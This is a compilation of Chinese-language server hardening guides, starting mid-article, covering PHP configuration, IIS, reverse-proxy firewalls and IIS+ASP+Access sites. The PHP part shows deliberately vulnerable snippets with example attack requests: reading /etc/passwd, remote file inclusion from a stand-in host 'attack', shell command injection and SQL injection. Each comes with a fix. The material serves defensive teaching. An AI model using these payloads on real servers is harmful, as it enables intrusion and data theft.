如果被操作文件所在目录的UID和脚本UID一致，那么该文件的UID即使和脚本不同也可以访问的，不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途，绝对禁止使用root做为php脚本的属主，这样就达不到safe_mode的效果了。
如果想将其放宽到GID比较，则打开 safe_mode_gid可以考虑只比较文件的GID，可以设置如下选项：
safe_mode_gid = On
设置了safe_mode以后，所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序，而且shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序，可以在php.ini做如下设置：
safe_mode_exec_dir = /usr/local/php/exec
然后拷贝程序到该目录，那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。
safe_mode_include_dir string
当从此目录及其子目录（目录必须在 include_path 中或者用完整路径来包含）包含文件时越过 UID/GID 检查。
从 PHP 4.2.0 开始，本指令可以接受和 include_path 指令类似的风格用分号隔开的路径，而不只是一个目录。
指定的限制实际上是一个前缀，而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”，如果它们存在。如果您希望将访问控制在一个指定的目录，那么请在结尾加上一个斜线，例如：“safe_mode_include_dir = /dir/incl/”。
safe_mode_allowed_env_vars string
设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下，用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下，用户只能设置以 PHP_ 开头的环境变量（例如 PHP_FOO = BAR）。
注: 如果本指令为空，PHP 将使用户可以修改任何环境变量！
safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表，最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。
虽然safe_mode不是万能的（低版本的PHP可以绕过），但还是强烈建议打开安全模式，在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制，可能对应用带来影响，所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。
讨论完safe_mode后，下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。
2、变量滥用
PHP默认register_globals = On，对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = "EGPCS"（可以通过php.ini修改），同名变量variables_order右边的覆盖左边，所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯，像如下的程序片断就极易受到攻击：
<?
//test_1.php
if ($pass == "hello")
$auth = 1;
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>
攻击者只需用如下的请求就能绕过检查：
http://victim/test_1.php?auth=1
这虽然是一个很弱智的错误，但一些著名的程序也有犯过这种错误，比如phpnuke的远程文件拷贝漏洞：http://www.securityfocus.com/bid/3361
PHP-4.1.0发布的时候建议关闭register_globals，并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量，必需通过数组变量来存取。PHP-4.2.0发布的时候，php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值，一般为0，避免了攻击者控制判断变量。
解决方法：
配置文件php.ini设置register_globals = Off。
要求程序员对作为判断的变量在程序最开始初始化一个值。
3、文件打开
极易受攻击的代码片断：
<?
//test_2.php
if (!($str = readfile("$filename")))
        {
echo("Could not open file:
        $filename<BR>\n");
exit;
}
else
        {
echo $str;
}
?>
由于攻击者可以指定任意的$filename，攻击者用如下的请求就可以看到/etc/passwd：
http://victim/test_2.php?filename=/etc/passwd
如下请求可以读php文件本身：
http://victim/test_2.php?filename=test_2.php
PHP中文件打开函数还有fopen(), file()等，如果对文件名变量检查不严就会造成服务器重要文件被访问读取。
解决方法：
如非特殊需要，把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子：
<Directory /usr/local/apache/htdocs>
php_admin_value open_basedir /usr/local/apache/htdocs
</Directory>
重启apache后，/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了，否则PHP就会报错：
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免这种问题，前面已经讨论过了。
4、包含文件
极易受攻击的代码片断：
<?
//test_3.php
if(file_exists($filename))
include("$filename");
?>
这种不负责任的代码会造成相当大的危害，攻击者用如下请求可以得到/etc/passwd文件：
http://victim/test_3.php?filename=/etc/passwd
如果对于Unix版的PHP（Win版的PHP不支持远程打开文件）攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件，如http://attack/attack.txt的内容是<?passthru("ls /etc")?>，那么如下的请求就可以在目标主机执行命令ls /etc：
http://victim/test_3.php?filename=http://attack/attack.txt
攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码，不过由于干扰信息太多，有时不易成功。
对于另外一种形式，如下代码片断：
<?
//test_4.php
include("$lib/config.php");
?>
攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件，然后用如下请求也可以在目标主机执行命令：
http://victim/test_4.php?lib=http://attack
PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险，可以远程执行命令。
解决方法：
要求程序员包含文件里的参数尽量不要使用变量，如果使用变量，就一定要严格检查要包含的文件名，绝对不能由用户任意指定。
如前面文件打开中限制PHP操作路径是一个必要的选项。另外，如非特殊需要，一定要关闭PHP的远程文件打开功能。修改php.ini文件：
allow_url_fopen = Off
重启apache。
5、文件上传
php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录（默认是系统的临时目录，如：/tmp）里的一个类似phpxXuoXG的随机临时文件，程序执行结束，该临时文件也被删除。PHP给上传的文件定义了四个变量：（如form变量名是file，而且register_globals打开）
$file #就是保存到服务器端的临时文件（如/tmp/phpxXuoXG ）
$file_size #上传文件的大小
$file_name #上传文件的原始名称
$file_type #上传文件的类型
推荐使用：
$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']
这是一个最简单的文件上传代码：
<?
//test_5.php
if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上传成功！点击<a href=\"$PHP_SELF\">继续上传</a>";
exit;
}
?>
<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">
上传文件:
<input type="file" name="file" size="30">
<input type="submit" name="upload" value="上传">
</form>
</body>
</html>
这样的上传代码存在读取任意文件和执行命令的重大问题。
下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test（注意：这个目录必须nobody可写）下的attack.txt文件里：
http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt
然后可以用如下请求读取口令文件：
http://victim/test/attack.txt
攻击者可以把php文件拷贝成其它扩展名，泄漏脚本源代码。
攻击者可以自定义form里file_name变量的值，上传覆盖任意有写权限的文件。
攻击者还可以上传PHP脚本执行主机的命令。
解决方法：
PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数，可以检查操作的文件是否是用户上传的文件，从而避免把系统文件拷贝到web目录。
使用$HTTP_POST_FILES数组来读取用户上传的文件变量。
严格检查上传变量。比如不允许是php脚本文件。
把PHP脚本操作限制在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的限制，所以不必修改php.ini里upload_tmp_dir的值。
把PHP脚本用phpencode进行加密，避免由于copy操作泄漏源码。
严格配置文件和目录的权限，只允许上传的目录能够让nobody用户可写。
对于上传目录去掉PHP解释功能，可以通过修改httpd.conf实现：
<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3换成php3_engine off
</Directory>
重启apache，upload目录的php文件就不能被apache解释了，即使上传了php文件也没有问题，只能直接显示源码。
6、命令执行
下面的代码片断是从PHPNetToolpack摘出，详细的描述见：
http://www.securityfocus.com/bid/4303
<?
//test_6.php
system("traceroute $a_query",$ret_strs);
?>
由于程序没有过滤$a_query变量，所以攻击者可以用分号来追加执行命令。
攻击者输入如下请求可以执行cat /etc/passwd命令：
http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd
PHP的命令执行函数还有system(), passthru(), popen()和``等。命令执行函数非常危险，慎用。如果要使用一定要严格检查用户输入。
解决方法：
要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。
启用safe_mode可以杜绝很多执行命令的问题，不过要注意PHP的版本一定要是最新的，小于PHP-4.2.2的都可能绕过safe_mode的限制去执行命令。
7、sql_inject
如下的SQL语句如果未对变量进行处理就会存在问题：
select * from login where user='$user' and pass='$pass'
攻击者可以用户名和口令都输入1' or 1='1绕过验证。
不过幸亏PHP有一个默认的选项magic_quotes_gpc = On，该选项使得从GET, POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了：
select * from login where user='1\' or 1=\'1' and pass='1\' or 1=\'1'
从而避免了此类sql_inject攻击。
对于数字类型的字段，很多程序员会这样写：
select * from test where id=$id
由于变量没有用单引号扩起来，就会造成sql_inject攻击。幸亏MySQL功能简单，没有sqlserver等数据库有执行命令的SQL语句，而且PHP的mysql_query()函数也只允许执行一条SQL语句，所以用分号隔开多条SQL语句的攻击也不能奏效。但是攻击者起码还可以让查询语句出错，泄漏系统的一些信息，或者一些意想不到的情况。
解决方法：
要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。
即使是数字类型的字段，变量也要用单引号扩起来，MySQL自己会把字串处理成数字。
在MySQL里不要给PHP程序高级别权限的用户，只允许对自己的库进行操作，这也避免了程序出现问题被 SELECT INTO OUTFILE ... 这种攻击。
8、警告及错误信息
PHP默认显示所有的警告及错误信息：
error_reporting = E_ALL & ~E_NOTICE
display_errors = On
在平时开发调试时这非常有用，可以根据警告信息马上找到程序错误所在。
正式应用时，警告及错误信息让用户不知所措，而且给攻击者泄漏了脚本所在的物理路径，为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方，反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的，即不给攻击者泄漏物理路径，又能让自己知道程序错误所在。
修改php.ini中关于Error handling and logging部分内容：
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log
然后重启apache，注意文件/usr/local/apache/logs/php_error.log必需可以让nobody用户可写。
9、disable_functions
如果觉得有些函数还有威胁，可以设置php.ini里的disable_functions（这个选项不能在httpd.conf里设置），比如：
disable_functions = phpinfo, get_cfg_var
可以指定多个函数，用逗号分开。重启apache后，phpinfo, get_cfg_var函数都被禁止了。建议关闭函数phpinfo, get_cfg_var，这两个函数容易泄漏服务器信息，而且没有实际用处。
10、disable_classes
这个选项是从PHP-4.3.2开始才有的，它可以禁用某些类，如果有多个用逗号分隔类名。disable_classes也不能在httpd.conf里设置，只能在php.ini配置文件里修改。
11、open_basedir
前面分析例程的时候也多次提到用open_basedir对脚本操作路径进行限制，这里再介绍一下它的特性。用open_basedir指定的限制实际上是前缀，不是目录名。也就是说 "open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls"，如果它们存在的话。如果要将访问限制在仅为指定的目录，用斜线结束路径名。例如："open_basedir = /dir/incl/"。
可以设置多个目录，在Windows中，用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时，父目录中的open_basedir路径自动被继承。
四、其它安全配置
1、取消其它用户对常用、重要系统命令的读写执行权限
一般管理员维护只需一个普通用户和管理用户，除了这两个用户，给其它用户能够执行和访问的东西应该越少越好，所以取消其它用户对常用、重要系统命令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉，否则在linux下可以用/lib/ld-linux.so.2 /bin/ls这种方式来执行。
如果要取消某程如果是在chroot环境里，这个工作比较容易实现，否则，这项工作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。PHP的mail函数需要/bin/sh去调用sendmail发信，所以/bin/bash的执行权限不能去掉。这是一项比较累人的工作，
2、去掉apache日志其它用户的读权限
apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP代码的URL，可以使access-log包含PHP代码，那么把包含文件指向access-log就可以执行那些PHP代码，从而获得本地访问权限。
如果有其它虚拟主机，也应该相应去掉该日志文件其它用户的读权限。
当然，如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。


保护Internet信息服务(IIS)web 服务器的15个技巧
通常地，大多数Web站点的设计目标都是：以最易接受的方式，为访问者提供即时的信息访问。在过去的几年中，越来越多的黑客、病毒和蠕虫带来的安全问题严重影响了网站的可访问性，尽管Apache服务器也常常是攻击者的目标，然而微软的Internet信息服务(IIS) Web服务器才是真正意义上的众矢之的。
高级教育机构往往无法在构建充满活力、界面友好的网站还是构建高安全性的网站之间找到平衡点。另外，它们现在必须致力于提高网站安全性以面对缩减中的技术预算 (其实许多它们的私有部门也面临着相似的局面)。
正因为如此，我在这里将为预算而头疼的大学IT经理们提供一些技巧，以帮助他们保护他们的IIS服务器。虽然主要是面对大学里的IT专业人员的，但是这些技巧也基本上适用于希望通过少量的财政预算来提高安全性的IIS管理人员。实际上，这里面的一些技巧对拥有强大预算的IIS管理人员也是非常有用的。
首先，开发一套安全策略
保护Web服务器的第一步是确保网络管理员清楚安全策略中的每一项制度。如果公司高层没有把服务器的安全看作是必须被保护的资产，那么保护工作是完全没有意义的。这项工作需要长期的努力。如果预算不支持或者它不是长期IT战略的一部分，那么花费大量时间保护服务器安全的管理员将得不到管理层方面的重要支持。
网络管理员为各方面资源建立安全性的直接结果是什么呢？一些特别喜欢冒险的用户将会被关在门外。那些用户随后会抱怨公司的管理层，管理层人员又会去质问网络管理员究竟发生了什么。那么，网络管理员没办法建立支持他们安全工作的文档，因此，冲突发生了。
通过标注Web服务器安全级别以及可用性的安全策略，网络管理员将能够从容地在不同的操作系统上部署各种软件工具。
IIS安全技巧
微软的产品一向是众矢之的，因此IIS服务器特别容易成为攻击者的靶子。搞清楚了这一点后，网络管理员必须准备执行大量的安全措施。我将要为你们提供的是一个清单，服务器操作员也许会发现这是非常有用的。
1. 保持Windows升级:
你必须在第一时间及时地更新所有的升级，并为系统打好一切补丁。考虑将所有的更新下载到你网络上的一个专用的服务器上，并在该机器上以Web的形式将文件发布出来。通过这些工作，你可以防止你的Web服务器接受直接的Internet访问。
2. 使用IIS防范工具:
这个工具有许多实用的优点，然而，请慎重的使用这个工具。如果你的Web服务器和其他服务器相互作用，请首先测试一下防范工具，以确定它已经被正确的配置，保证其不会影响Web服务器与其他服务器之间的通讯。
3. 移除缺省的Web站点:
很多攻击者瞄准inetpub这个文件夹，并在里面放置一些偷袭工具，从而造成服务器的瘫痪。防止这种攻击最简单的方法就是在IIS里将缺省的站点禁用。然后，因为网虫们都是通过IP地址访问你的网站的 (他们一天可能要访问成千上万个IP地址)，他们的请求可能遇到麻烦。将你真实的Web站点指向一个背部分区的文件夹，且必须包含安全的NTFS权限 (将在后面NTFS的部分详细阐述)。
4. 如果你并不需要FTP和SMTP服务，请卸载它们:
进入计算机的最简单途径就是通过FTP访问。FTP本身就是被设计满足简单读/写访问的，如果你执行身份认证，你会发现你的用户名和密码都是通过明文的形式在网络上传播的。SMTP是另一种允许到文件夹的写权限的服务。通过禁用这两项服务，你能避免更多的黑客攻击。
5. 有规则地检查你的管理员组和服务:
有一天我进入我们的教室，发现在管理员组里多了一个用户。这意味着这时某个人已经成功地进入了你的系统，他或她可能冷不丁地将炸弹扔到你的系统里，这将会突然摧毁你的整个系统，或者占用大量的带宽以便黑客使用。黑客同样趋向于留下一个帮助服务，一旦这发生了，采取任何措施可能都太晚了，你只能重新格式化你的磁盘，从备份服务器恢复你每天备份的文件。因此，检查IIS服务器上的服务列表并保持尽量少的服务必须成为你每天的任务。你应该记住哪个服务应该存在，哪个服务不应该存在。Windows 2000 Resource Kit带给我们一个有用的程序，叫作tlist.exe，它能列出每种情况运行在svchost 之下的服务。运行这个程序可以寻找到一些你想要知道的隐藏服务。给你一个提示：任何含有daemon几个字的服务可能不是Windows本身包含的服务，都不应该存在于IIS服务器上。想要得到Windows服务的列表并知道它们各自有什么作用，请点击这里。
6. 严格控制服务器的写访问权限:
这听起来很容易，然而，在大学校园里，一个Web服务器实际上是有很多"作者"的。教职人员都希望让他们的课堂信息能被远程学生访问。职员们则希望与其他的职员共享他们的工作信息。服务器上的文件夹可能出现极其危险的访问权限。将这些信息共享或是传播出去的一个途径是安装第2个服务器以提供专门的共享和存储目的，然后配置你的Web服务器来指向共享服务器。这个步骤能让网络管理员将Web服务器本身的写权限仅仅限制给管理员组。
7. 设置复杂的密码:
我最近进入到教室，从事件察看器里发现了很多可能的黑客。他或她进入了实验室的域结构足够深，以至于能够对任何用户运行密码破解工具。如果有用户使用弱密码 (例如"password"或是 changeme"或者任何字典单词)，那么黑客能快速并简单的入侵这些用户的账号。
8. 减少/排除Web服务器上的共享:
如果网络管理员是唯一拥有Web服务器写权限的人，就没有理由让任何共享存在。共享是对黑客最大的诱惑。此外，通过运行一个简单的循环批处理文件，黑客能够察看一个IP地址列表，利用\\命令寻找Everyone/完全控制权限的共享。
9. 禁用TCP/IP协议中的NetBIOS:
这是残忍的。很多用户希望通过UNC路径名访问Web服务器。随着NETBIOS被禁用，他们便不能这么做了。另一方面，随着NETBIOS被禁用，黑客就不能看到你局域网上的资源了。这是一把双刃剑，如果网络管理员部署了这个工具，下一步便是如何教育Web用户如何在NETBIOS失效的情况下发布信息。
10. 使用TCP端口阻塞:
这是另一个残忍的工具。如果你熟悉每个通过合法原因访问你服务器的TCP端口，那么你可以进入你网络接口卡的属性选项卡，选择绑定的TCP/IP协议，阻塞所有你不需要的端口。你必须小心的使用这一工具，因为你并不希望将自己锁在Web服务器之外，特别是在当你需要远程登陆服务器的情况下。要得到TCP端口的详细细节，点击这里。
11. 仔细检查*.bat和*.exe 文件: 每周搜索一次*.bat
和*.exe文件，检查服务器上是否存在黑客最喜欢，而对你来说将是一场恶梦的可执行文件。在这些破坏性的文件中，也许有一些是*.reg文件。如果你右击并选择编辑，你可以发现黑客已经制造并能让他们能进入你系统的注册表文件。你可以删除这些没任何意义但却会给入侵者带来便利的主键。
12. 管理IIS目录安全:
IIS目录安全允许你拒绝特定的IP地址、子网甚至是域名。作为选择，我选择了一个被称作WhosOn的软件，它让我能够了解哪些IP地址正在试图访问服务器上的特定文件。WhosOn列出了一系列的异常。如果你发现一个家伙正在试图访问你的cmd.exe，你可以选择拒绝这个用户访问Web服务器。当然，在一个繁忙的Web站点，这可能需要一个全职的员工！然而，在内部网，这真的是一个非常有用的工具。你可以对所有局域网内部用户提供资源，也可以对特定的用户提供。
13. 使用NTFS安全:
缺省地，你的NTFS驱动器使用的是EVERYONE/完全控制权限，除非你手工关掉它们。关键是不要把自己锁定在外，不同的人需要不同的权限，管理员需要完全控制，后台管理账户也需要完全控制，系统和服务各自需要一种级别的访问权限，取决于不同的文件。最重要的文件夹是System32，这个文件夹的访问权限越小越好。在Web服务器上使用NTFS权限能帮助你保护重要的文件和应用程序。
14.管理用户账户:
如果你已经安装IIS，你可能产生了一个TSInternetUser账户。除非你真正需要这个账户，否则你应该禁用它。这个用户很容易被渗透，是黑客们的显著目标。为了帮助管理用户账户，确定你的本地安全策略没有问题。IUSR用户的权限也应该尽可能的小。
15. 审计你的Web服务器:
审计对你计算机的性能有着较大的影响，因此如果你不经常察看的话，还是不要做审计了。如果你真的能用到它，请审计系统事件并在你需要的时候加入审计工具。如果你正在使用前面提到的WhosOn工具，审计就不那么重要了。缺省地，IIS总是纪录访问， WhosOn 会将这些纪录放置在一个非常容易易读的数据库中，你可以通过Access或是 Excel打开它。如果你经常察看异常数据库，你能在任何时候找到服务器的脆弱点。
总结

上述所有IIS技巧和工具(除了WhosOn以外)都是Windows自带的。不要忘记在测试你网站可达性之前一个一个的使用这些技巧和工具。如果它们一起被部署，结果可能让你损失惨重，你可能需要重启，从而遗失访问。
最后的技巧: 登陆你的Web服务器并在命令行下运行netstat -an。观察有多少IP地址正尝试和你的端口建立连接，然后你将有一大堆的调查和研究要做了。


使用反向代理技术保护Web服务器
为了增加网络的安全和保护内部网络上的重要数据，需要将内部网与Internet相隔离，当前主要通过防火墙技术来完成这个目的。然而为了保护内部主机，防火墙软件就必须限制外部网络中的主机对内部网络的访问。因此普通防火墙软件的设置中，外部网络无法访问内部主机。然而，为了向外发布自己的信息，就需要允许外部网络访问自己的Web服务器。最简单的处理方法是将Web服务器放在防火墙之外，这样就将Web服务器和内部网络区分开，Web服务器暴露在网络外部，就有可能招受攻击而导致服务器瘫痪或网页被更改等潜在的问题。而当前，Web服务器上面的信息越来越丰富和重要，Web服务器的重要性也非常明显。因此就需要使用防火墙来保护它，如果要将Web服务器放在防火墙之内，则需要防火墙的支持。
当前防火墙主要有两种类型，一种为包过滤型防火墙，这种防火墙针对每个IP包识别它是否符合管理员设定的过滤规则，符合一定要求的才被正确转发。可以使用的过滤规则包括源和目的主机的名字和IP地址，端口地址，使用的网络界面，以及IP包的类型。通常包过滤型的防火墙软件根据IP包的类型屏蔽所有的由外部发起的连接请求，从而保护内部网络。如果要将Web服务器放在放火墙之内，就需要允许对这个Web服务器和它使用的TCP端口的访问。
另一种类型的防火墙为应用代理型的防火墙，这种防火墙针对每种应用协议提供相应的代理服务，由代理服务器访问网络，并将结果返回给客户机。标准的http协议的代理服务，客户端的浏览器必须配置代理服务器的IP地址，不可能要求其他外部主机为访问这个内部网络上的主机而重新设置代理服务器的地址。代理服务器并不区分外部网络和内部网络，但是代理服务器使用Internet上的名字解析来确定Web服务器的位置，而通常防火墙内使用内部地址，这也决定了普通代理型防火墙不支持外部网络对内部Web服务器的http访问请求。因此普通代理服务器简单的屏蔽外部地址的访问，因此最简单的保护对外发布信息的Web服务器的方式是使用包过滤型的防火墙。
一旦允许外部网络中的主机可以向内部网络发起连接请求，攻击者就可以在网络外部尝试进行连接，这增加了攻击者攻击内部网络的方式，降低了整个网络的安全系数。如果不允许外部主机向内部网络发起连接请求，攻击者就只好在外部发起攻击，使用特洛伊木马或者IP spoof等技术，这些方式与发起主动连接的攻击方式相比，没有现成的工具供利用，因此使得攻击的复杂性大大增加，因此网络被攻击的可能性大为减少，几乎成为不可能。一旦攻击者进入内部网络中的Web服务器，整个内部网络就暴露在攻击者的面前，防火墙就不能起到应有的作用了。因此通过重新定义包过滤型防火墙的过滤规则，并将Web服务器放在内部网络内，只是一种简单的保护Web服务器的方法，然而不利于保护整个内部网络的安全。
因此，为了在保护Web服务器和内部网络的安全，当前使用的更安全的做法是实现双层防火墙。外层防火墙实现包过滤功能，然而却允许外部网络访问其中的Web服务器，内部防火墙允许最中间的内部网络可以访问外部网络。在外部防火墙和内部防火墙之间称为停火区，提供外部网络访问的服务器就位于这个区域，表明即使攻击者通过外部防火墙进入这个区域，也无法攻入内部网络。双层防火墙通过设置了两层防火墙，使得内部网络更为安全。然而，它在保护Web服务器方面的作用，与单层防火墙相似。因为此时Web服务器仍然只受到一层防火墙的保护，同样也无法对外部隐藏防火墙内主机的各种信息，例如服务器的ip等。而且这层防火墙是对应用协议一无所知的包过滤防火墙，由于包过滤的方式不识别应用协议，通常为http协议，那么就无法正确识别外部的连接请求是否属于正常连接，通常也无法进行详尽的连接记录。为了更好的保护Web服务器不被外部攻击者破坏，就应该屏蔽内部服务器的IP地址等信息，并且防火墙能够识别连接协议，显然这是代理型防火墙的任务。
通常的代理服务器，只用于代理内部网络对Internet的连接请求，客户机必须指定代理服务器,并将本来要直接发送到Web服务器上的http请求发送到代理服务器中。由于外部网络上的主机并不会配置并使用这个代理服务器，普通代理服务器也被设计为在Internet上搜寻多个不确定的服务器,而不是针对Internet上多个客户机的请求访问某一个固定的服务器，因此普通的Web代理服务器不支持外部对内部网络的访问请求。当一个代理服务器能够代理外部网络上的主机，访问内部网络时，这种代理服务的方式称为反向代理服务。此时代理服务器对外就表现为一个Web服务器，外部网络就可以简单把它当作一个标准的Web服务器而不需要特定的配置。不同之处在于，这个服务器没有保存任何网页的真实数据，所有的静态网页或者CGI程序，都保存在内部的Web服务器上。因此对反向代理服务器的攻击并不会使得网页信息遭到破坏，这样就增强了Web服务器的安全性。
反向代理方式和包过滤方式或普通代理方式并无冲突，因此可以在防火墙设备中同时使用这两种方式，其中反向代理用于外部网络访问内部网络时使用，正向代理或包过滤方式用于拒绝其他外部访问方式并提供内部网络对外部网络的访问能力。因此可以结合这些方式提供最佳的安全访问方式。
综合反向代理功能和普通拒绝外部访问的普通防火墙软件相结合，就能构成一个既具有保护内部网络、又能对外提供Web信息发布的能力的防火墙系统。由于反向代理能力需要软件实现，因此不能使用现有的防火墙系统，需要使用相关软件进行开发改进。Unix显然是首选平台，我们基于FreeBSD系统，提出一种基于ipfw、natd与squid的防火墙设置方式。其中ipfw可以基于ip地址、端口、协议等对ip包进行过滤，natd提供网络地址转换功能，这样就隐藏了内部网络的拓扑等信息，ipfw和natd结合就构成了强大的包过滤网关。而squid是Internet上最流行的Web代理服务器之一，虽然它提供的是普通的正向代理能力，但其为开放源代码软件，并且具有强大的可配置性，因此很容易可以将其更改为反向代理服务器。
这种方式对内部网络的保护能力，要小于双层防火墙软件，等于普通的单层防火墙软件，然而其对Web服务器的保护却大于双层防火墙系统中对位于对停火区内的Web服务器的保护。然而其本身为单层系统，因此比双层系统配置起来更方便，是一种简单有效的方案。其中反向代理功能能够提供丰富的连接记录，可以用来提供预防和捕获攻击的能力，而包过滤和网络地址翻译可以让内部网络的主机可以使用多种协议访问外部网络，不需要考虑防火墙对应用协议的支持问题。这种方式适用于大多数Intranet系统。


用IIS+ASP建网站的安全性分析
随着Internet的发展，Web技术日新月异，人们已经不再满足于静态HTML技术，更多的是要求动态、交互的网络技术。继通用网关接口（CGI）之后，微软推出的IIS+ASP的解决方案作为一种典型的服务器端网页设计技术，被广泛应用在网上银行、电子商务、网上调查、网上查询、BBS、搜索引擎等各种互联网应用中。与此同时，Access数据库作为微软推出的以标准JET为引擎的桌面型数据库系统，由于具有*作简单、界面友好等特点，具有较大的用户群体。目前，IIS+ASP+Access是中小型Internet网站的首选方案。但是，该解决方案在为我们带来便捷的同时，也带来了严峻的安全问题。
一、安全隐患分析
    IIS+ASP+Access解决方案的主要安全隐患来自Access数据库的安全性，其次在于ASP网页设计过程中的安全意识和措施。
1．数据库可能被下载
    在IIS+ASP+Access网站中，如果有人通过各种方法获得或者猜到数据库的存储路径和文件名，则该数据库就可以被下载到本地。例如：对于网上书店数据库，一般命名为book.mdb、store.mdb等，存储路径一般为“URL/database”或放在根目录“URL/”下，这样，任何人敲入地址：“URL/database/store.mdb”， 数据库就可以被下载了。
2．数据库可能被解密
    由于Access数据库的加密机制比较简单，即使设置了密码，解密也很容易。该数据库系统通过将用户输入的密码与某一固定密钥（例如： Access 97为86 FB EC 37 5D 44 9C FA C6 5E 28 E6 13）进行“异或”来形成一个加密串，并将其存储在*.mdb文件从地址“&H42”开始的区域内。我们可以轻松地编制解密程序，一个几十行的小程序就可以轻松地获得任何Access数据库的密码。因此，只要数据库被下载，其信息就没有任何安全性可言了。
3．ASP页面的安全性
    （1）源代码安全性隐患。由于ASP程序采用非编译性语言，大大降低了程序源代码的安全性。如果黑客侵入站点，就可以获得ASP源代码；同时对于租用服务器的用户，因个别服务器出租商的职业道德问题，也会造成ASP应用程序源代码泄露。
    （2）程序设计中容易被忽视的安全性问题。ASP代码使用表单实现交互，而相应的内容会反映在浏览器的地址栏中，如果不采用适当的安全措施，只要记下这些内容，就可以绕过验证直接进入某一页面。例如在浏览器中敲入“...page.asp?x=1”，即可不经过表单页面直接进入满足“x=1”条件的页面。因此，在验证或注册页面中，必须采取特殊措施来避免此类问题的产生。
二、提高IIS+ASP网站安全性的方法
    1．防止数据库被下载
由于Access数据库加密机制过于简单，有效地防止数据库被下载，就成了提高ASP+Access解决方案安全性的重中之重。以下两种方法简单、有效。
    （1）非常规命名法。为Access数据库文件起一个复杂的非常规名字，并把它放在几个目录下。例如，对于网上书店的数据库，我们不把它命名为“book.mdb”或“Store.mdb”，而是起个非常规的名字，例如：faq9jl.mdb，再把它放在如./akkt/kj61/acd/av5 的几层目录下，这样黑客想通过猜的方式得到Access数据库文件名就很难了。
    （2）使用ODBC数据源。在ASP程序设计中，如果有条件，应尽量使用ODBC数据源，不要把数据库名写在程序中，否则，数据库名将随ASP源代码的失密而一同失密，例如：
DBPath = Server.MapPath(“./akkt/kj61/acd/av5/faq9jl.mdb ”)
conn.open “driver={Microsoft Access Driver (*.mdb)};dbq=”& DBPath
可见，即使数据库名字起得再怪异，隐藏的目录再深，ASP源代码失密后，也很容易被下载下来。如果使用ODBC数据源，就不会存在这样的问题了：
conn.open “ODBC-DSN名”
2．对ASP页面进行加密
    为有效地防止ASP源代码泄露，可以对ASP页面进行加密。我们曾采用两种方法对ASP页面进行加密。一是使用组件技术将编程逻辑封装入DLL之中；二是使用微软的Script Encoder对ASP页面进行加密。使用组件技术存在的主要问题是每段代码均需组件化，*作比较繁琐，工作量较大，而使用Encoder对ASP页面进行加密，*作简单、收效良好。Script Encoder的运行程序是SCRENC.EXE，使用方法是：
SCRENC [/s] [/f] [/xl] [/l defLanguage ] [/e defExtension] inputfile outputfile
其中：/s 是屏蔽屏幕输出；/f 指定输出文件是否覆盖同名输入文件；/xl 指是否在.asp文件的顶部添加@Language指令；/l defLanguag指定缺省的脚本语言; /e defExtension 指定待加密文件的扩展名。
3．注册验证
    为防止未经注册的用户绕过注册界面直接进入应用系统，我们采用Session对象进行注册验证。例如，我们制作了下面的注册页面。
